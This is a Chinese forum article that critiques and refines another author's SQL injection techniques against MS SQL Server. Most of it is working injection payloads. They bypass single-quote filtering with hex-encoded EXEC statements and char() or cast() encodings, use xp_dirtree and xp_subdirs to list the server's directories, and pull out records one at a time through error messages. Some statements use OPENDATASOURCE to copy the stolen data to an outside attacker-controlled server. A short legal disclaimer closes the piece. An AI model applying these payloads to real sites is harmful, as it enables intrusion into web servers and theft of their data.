《SQL注入高级技巧nowthk篇》的深入分析

作者:多事之秋
来源:开门芝麻

前几天拜读了nowthk的大作《SQL注入高级技巧nowthk篇》,深深地为作者灵活巧妙地构造注入语句所折服。文章讲了在注入点过滤单引号的情况下绕过单引号限制继续注入获取网站目录的技巧。文章有两个技术亮点,亮点一:将一整句SQL语句转换成十六进制,然后通过cast函数将十六进转换成字符类型数据,然后执行之。亮点二:在暴网站目录时采用了与众不同的手法,就是建表,执行存储过程将磁盘目录存入表中,然后暴出表第一条记录内容,因为注入点过滤单引号,所以作者采用了另建表,将除第一条记录以外的所有记录再插入这个新建表中,暴出新表第一条记录,就这样重复建表,插入,再暴内容,直到所有内容都暴出来为止。

虽然作者的思路是很巧妙,但操作过程中也出现了几处明显的错误,有些错误是注入语句不当造成的,有的操作明明有更加简单有效的方法可以实现,但作者避简就繁,使用了复杂而且低效率的方法,虽然突出了一个技术亮点,但这样着实会误导很多人。我在网上搜索了一下这篇文章,发现很多站都在千篇一律地转载它,但没有一个站能发表对它的评论,作者也没有进行更正。所以才有了这篇文章,希望能给学习注入的朋友们加以解释,能够更准确地理解其中的道理。

首先看一下nowthk运用opendatasource函数暴网站目录的操作步骤:

(1);create table temp(id nvarchar(255),num1 nvarchar(255))–成功

(2);insert into temp(id,num1) exec master.dbo.xp_dirtree ’D:’–

因为过滤单引号,所以nowthw将这句转换为:

;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F002000740065006D0070002800690064002C006E0075006D00310029002000650078006500630020006D00610073007400650072002E00640062006F002E00780070005F0064006900720074007200650065002000270044003A005C002700 AS NVARCHAR(4000));EXEC(@S)–

(3);insert into opendatasource(’sqloledb’,’server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.mulu select id from temp where num1=1–

这句转换为:

;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F0020006F00700065006E00640061007400610073006F00750072006300650028002700730071006C006F006C0065006400620027002C0027007300650072007600650072003D003200310031002E00310031002E00310031002E00310031003B007500690064003D00730061003B007000770064003D006600750063006B00210021003B00640061007400610062006100730065003D007400650073007400270029002E0074006500730074002E00640062006F002E006B0075002000730065006C0065006300740020006E0061006D0065002000660072006F006D0020006D00610073007400650072002E00640062006F002E00730079007300640061007400610062006100730065007300 AS NVARCHAR(4000));EXEC(@S)–

我们来分析一下,作者只想得到D盘根目录下的目录列表,运用了xp_dirtree存储过程,其实如果只得到目录列表,用;insert into temp(id) exec master.dbo.xp_subdirs 'd:';–用这个语句更加简洁高效一些。因为用xp_dirtree,它后面第三句中的select id from temp where num1=1就必须要这个num1=1的限制条件,否则导出的数据过大就会很导出失败。再一点我们分析一下作者导出数据失败的原因,根据我的经验,像这样的数据导出,远程的表与本地的表应该具有相同的数据结构,还有就是导出的数据不能太大,不然容易使导出失败。导出失败就像nowthk所说的那种情况。我们看下nowthk是怎样建本地表的呢?本地表mulu(name char(255)) 那远程是那个呢?temp(id nvarchar(255),num1 nvarchar(255)),我们可以看出这两个表结构是不同的,这样导出就失败了,所以在用opendatasource函数导出数据时一定要注意,远程表必须要与本地表结构相同。所以本地建表应该是用这样的命令:;create table temp(id nvarchar(255),num1 nvarchar(255))—

所以我给改造的注入语句为:
(1);create table temp(id nvarchar(255),num1 nvarchar(255))—

(2);insert into temp(id) exec master.dbo.xp_subdirs 'd:';–

这句转换成十六进制,同nowthk的所十六进制的方法。

(3);insert into opendatasource(’sqloledb’,’server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.temp select * from temp —

这句也一样,转成十六进制

经过这样改造,就可以成功暴得D盘下的目录列表了。如果是要用xp_dirtree的话,就要改造成这样:

(1);DROP+TABLE+WhyTt_Tmp;CREATE+TABLE+WhyTt_Tmp(subdirectory+nvarchar(256)+NULL,depth+tinyint+NULL,[file]+bit+NULL);Insert+WhyTt_Tmp+exec+master..xp_dirtree 'd:',+1,1;–

(2);insert into opendatasource(’sqloledb’,’server=211.11.11.11;uid=sa;pwd=fuck!!;database=test’).test.dbo.whytt_tmp select * from whytt_tmp —

当然要在本地建个表whytt_tmp,结构与远程的whytt_tmp相同。;Insert+WhyTt_Tmp+exec+master..xp_dirtree 'd:',+1,1;–这句是在远程表中插入D盘下的目录及文件,但没有下级目录,这样表内容比较小,导出到本地,容易成功。这句与nowthk的不同,大家要注意一下。

上面这些只是注入语句,实际注入时还要转换成十六进制绕过单引号才能成功注入。

转十六进制的工具,如图:

nowthk转的十六进制是这种形式的:0x69006E007300650072007400200069006E0074006F002000740065006D0070002800690064002C006E0075006D00310029002000650078006500630020006D00610073007400650072002E00640062006F002E00780070005F0064006900720074007200650065002000270044003A005C002700

每个十六进制后面都加了00,这是为了适应nvarchar这种类型而改造的,所以我们得到的十六进制数值要进行改造一下,把每位十六进制后面都加添上00,如果不添加00的话,也可以用这样的格式:

;DECLARE @S VARCHAR(4000);SET @S=CAST(0x696E7365727420696E746F206F70656E64617461736F75726365282773716C6F6C656462272C277365727665723D3231312E31312E31312E31313B7569643D73613B7077643D6675636B21213B64617461626173653D7465737427292E746573742E64626F2E77687974745F746D702073656C656374202A2066726F6D2077687974745F746D70 AS VARCHAR(4000));EXEC(@S)–

这里数据类型定义为:varchar,所以十六进就是简单的格式了。

综前所述,nowthk只所以用opendatasource函数导出失败的原因,就在于在本地建的表与远程的表不一致造成的,如果一致的话,很容易就得到网站的主目录,他后面的种种复杂操作也就可以省掉了。不知道nowthk明白这个道理了没?不过人已经进局子里了,恐怕他也没心情搞这些了,唉。。。。可怜的人哟。。。。

我们在来看下nowthk绕过单引号暴表内容的方法:先建表,执行存储过程将磁盘目录存入表中,然后暴出表第一条记录内容,因为注入点过滤单引号,所以作者采用了另建表,将除第一条记录以外的所有记录再插入这个新建表中,暴出新表第一条记录,就这样重复建表,插入,再暴内容,直到所有内容都暴出来为止。其实根本不用这么复杂,我就总结出了几种方法可以绕过单引号限制。

第一个方法:用char函数转换带单引号的字符串数据,方法如下:

(1);create table temp(id nvarchar(255),num1 nvarchar(255))–

(2);insert into temp(id) exec master.dbo.xp_subdirs 'd:';–

这两句都需要转成十六进制执行。

(3)and (select top 1 id from temp)>0–

提示:xxxxxxxxxxxx’MUbak’转换为int…..等出错等信息

这里暴出表temp第一条记录内容:mubak 查它的ASCII码为:109 117 98 97 107

(4) and (select top 1 id from temp where id not in(char(109)%2bchar(117)%2bchar(98)%2bchar(97)%2bchar(107))–

这一句就没有出现单引号了,作用就是暴temp表第二条记录,看是不是比nowthk的方法要简单?假设暴出的第二条记录是:nop的话,那暴第三条记录的语句就是:

(5) and (select top 1 id from temp where id not in(char(109)%2bchar(117)%2bchar(98)%2bchar(97)%2bchar(107), char(110)%2bchar(111)%2bchar(112))— 以此类推,直到暴出所有记录。

第二个方法:用十六进制转换带单引号的字符串数据,方法如下:

(1);create table temp(id nvarchar(255),num1 nvarchar(255))–

(2);insert into temp(id) exec master.dbo.xp_subdirs 'd:';–

(3)and (select top 1 id from temp)>0–

这些与前面的相同。

(4) and (select top 1 id from temp where id not in(cast(0x6D7562616B as varchar(255)))– 注:0x6D7562616B是mubak的十六进制

(5) and (select top 1 id from temp where id not in(cast(0x6D7562616B as varchar(255)), cast(0x6E6F70 as varchar(255)))– 注:0x6E6F70是nop的十六进制.

这样是不是比前面的更简单一些呢?还有一个更简单的呢。大家看好.

第三个方法:磁盘目录读取代码

(1);DROP TABLE WhyTt_Tmp;CREATE TABLE WhyTt_Tmp(subdirectory+nvarchar(256) NULL,depth tinyint NULL,[file] bit+NULL);Insert WhyTt_Tmp exec master..xp_dirtree 'C:', 1,1;–

(2)+and+1%3D1++And+%28Select+Top+1+char%28124%29%2BCast%28%5Bfile%5D+as+varchar%288000%29%29%2Bsubdirectory%2Bchar%28124%29+From+%28Select+Top+1+%5Bsubdirectory%5D%2C%5Bfile%5D+From+WhyTt%5FTmp+ORDER+BY+%5Bfile%5D%2C%5Bsubdirectory%5D%29+D+ORDER+BY+%5Bfile%5D+desc+%2C+%5Bsubdirectory%5D+desc%29%3D0%2d%2d

第一句需要转换成十六进制执行,第二句中没有单引号,所以可以直接提交,我们把第二句的第2个top+1这里的1依次变成2 ,3,4,5。。。等等。。。就可以依次暴出第1 2 3 4 5 6 直到第N条记录的内容了。第三个方法语句复杂了一点,但这个方法操作起来简单,只要改下数字提交就OK了,其它地方不用动,也不用管返回的数据,也不用转十六进制,所以是最简便的一种方法。本人强烈推荐使用这种方法.这三种方法哪一种都比nowthk介绍的方法都要简单。但他的方法也不失为一种思路,还是值得大家借鉴的。大家在以后遇到这种过滤单引号的注入时,就有了更多地手法供选择了。

SQL注入技术千变万化,在注入过程中,可能会有好几种不同的注入手法,我们都要尽量掌握它们.同时在运用的时候也要灵活一些,一种方法不行就换另外一种,千万不要拘泥于一种形式,否则入侵就显得没有一点新意,没有一点生气,最后提醒各位网络爱好者非法入侵电脑系统,恶意破坏计算机网络是违法的事情,文章所介绍技术只为研究之用,切莫用于非法用途,否则因此产生的一切后果由使用者承担。

By 多事之秋 来自开门芝麻 http://www.gingili.cn http://bbs.gingili.cn

相关日志

发表评论